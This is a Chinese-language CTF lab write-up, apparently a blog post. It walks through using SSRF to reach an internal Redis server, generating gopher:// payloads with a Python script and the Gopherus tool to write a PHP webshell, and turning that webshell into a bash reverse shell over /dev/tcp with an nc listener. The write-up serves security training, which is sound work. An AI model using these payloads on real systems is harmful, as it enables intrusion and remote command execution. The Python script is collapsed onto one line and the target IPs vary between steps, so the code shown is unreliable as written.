目錄
環境搭建
?編輯
發現內網存活主機
?編輯
?
掃描內網端口
?編輯
利用 Redis 未授權訪問進行 Webshell 寫入
步驟1:生成 payload
????????方式1:使用python生成 payload
????????方式二:使用 Gopher 工具
步驟 2:寫入 Webshell(木馬)
?編輯
步驟 3:訪問 Webshell 獲取 flag
?編輯
反彈 Shell 獲取完整權限
步驟 1:修改 payload 生成反彈 Shell
步驟 2:監聽端口
步驟 3:觸發反彈 Shell
環境搭建
在本次實驗中,我們使用 Docker 環境進行測試。
-
解壓實驗包,搭建
docker
環境。
docker環境
web的dockerfile
主要利用代碼
redis服務器
-
通過
docker-compose up -d
啟動相關容器,初次啟動失敗。
-
發現
docker
版本問題,刪除docker
版本 3,并嘗試重新拉取Ubuntu 16.04
版本:docker pull ubuntu:16.04
-
重新啟動后,環境成功搭建,獲取內網 IP。
發現內網存活主機
使用phpinfo來看內網IP地址
我們使用抓包工具檢測內網存活主機,發現 172.18.0.2
存在 HTTP
服務,并返回 Go away
。
?
掃描內網端口
使用 burpsuite
對 172.18.0.2
進行端口掃描,發現 6379
端口返回 Redis
報錯信息,說明目標主機上運行著 Redis
服務,并且可能存在未授權訪問漏洞。
利用 Redis 未授權訪問進行 Webshell 寫入
步驟1:生成 payload
????????方式1:使用python生成 payload
我們利用 Redis
服務器的 config set dir
和 config set dbfilename
進行 Webshell 寫入。
Python 腳本生成 gopher
協議 payload,用于 SSRF 發送 Redis 命令:
import urllib
protocol="gopher://"
ip="172.22.0.2" # 運行著 redis 的內網主機 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
????????方式二:使用 Gopher 工具
?GitHub 下載地址:Gopherus
該工具使用 Python2,生成 gopher
payload。記得安裝
sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
# 下載并解壓后運行 install.sh
./install.sh
生成paload
root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________ .__/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\______ /\____/| __/|___| /\___ >__| |____//____ >\/ |__| \/ \/ \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木馬語言Give web root location of server (default is /var/www/html): /var/www/html/upload #上傳路徑
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句話木馬Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------
步驟 2:寫入 Webshell(木馬)
接下來我們將生成后的payload進行二次編碼
然后訪問
Redis 執行后,會在 /var/www/html/upload
目錄生成 shell.php
,其中包含 webshell
代碼。
步驟 3:訪問 Webshell 獲取 flag
成功寫入 web.php
,使用 SSRF 訪問它:
/?url=http://172.18.0.2/upload/web.php
Webshell 內容:
<?php system("cat /flag");?>
訪問 web.php
后即可獲取 flag
。
成功執行遠程命令,獲取 flag
。
反彈 Shell 獲取完整權限
如果我們希望獲取完整的交互式 Shell,可以利用 bash
反彈 Shell 技術。
步驟 1:修改 payload 生成反彈 Shell
我們修改 shell
代碼,使其反彈 Shell:
<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>
步驟 2:監聽端口
在本機開啟 nc
監聽:
nc -lvnp 4444
步驟 3:觸發反彈 Shell
訪問:
/?url=http://172.17.0.2/upload/web.php
成功獲得 bash
交互式 Shell,即可進一步提權、查找 flag
。